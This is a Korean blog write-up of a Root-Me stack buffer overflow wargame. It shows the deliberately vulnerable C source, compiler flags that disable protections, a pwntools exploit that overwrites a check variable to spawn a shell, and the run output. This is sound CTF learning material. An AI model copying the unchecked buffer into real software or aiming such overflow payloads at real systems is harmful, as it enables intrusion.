int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}
평-범한 BOF문제이다.
check의 값을 0xdeadbeef로만 만들어주면 쉘을 획득 할 수 있다.
근데 이게 SSH서버 접속도 그렇고 너무 느려서 그냥 로컬에서 구축해서 풀었당.
보호기법은 다 해제해야 하므로 보호기법을 다 없에준당.
juntae@ubuntu:~/wargame/rootme/SBO1$ gcc -fno-stack-protector -m32 -no-pie -z execstack -o excutable code.c
juntae@ubuntu:~/wargame/rootme/SBO1$ checksec excutable
[*] '/home/juntae/wargame/rootme/SBO1/excutable'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
잘 해제되었고, 32bit로 까지 컴파일 되었당.
이제 구축도 끝났으니까 문제를 풀어보자.
40짜리 버퍼에 45나 입력을 받으니까 적당히 값 조절해서 deadbeef 넣어주자.
Exploit
from pwn import *
r = process("./excutable")
payload = "A" * 40
payload += p32(0xdeadbeef)
r.sendline(payload)
r.interactive()
문제에서 현재 버퍼의 값과 check변수의 값을 계속 보여주니까 참고해서 풀어서 편했당.
Flag
juntae@ubuntu:~/wargame/rootme/SBO1$ p ex.py
[+] Starting local process './excutable': pid 5773
[*] Switching to interactive mode
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
$ ls
code.c excutable ex.py
$
V - E - R - Y - E - A - S - Y !!
'System Hacking (pwnable) > ETC' 카테고리의 다른 글
[pwn] SROP(Sigreturn Return Oriented Programming) (0) | 2020.01.07 |
---|---|
[HackTheBox] Dream Diary : Chapter 1 ( write-up ) (0) | 2019.11.20 |
[pwn] _rtld_global overwrite ( _dl_fini overwrite ) (0) | 2019.11.09 |
[Heap] fastbin dup consolidate (0) | 2019.08.01 |
[Heap] fastbin dup-into stack (0) | 2019.08.01 |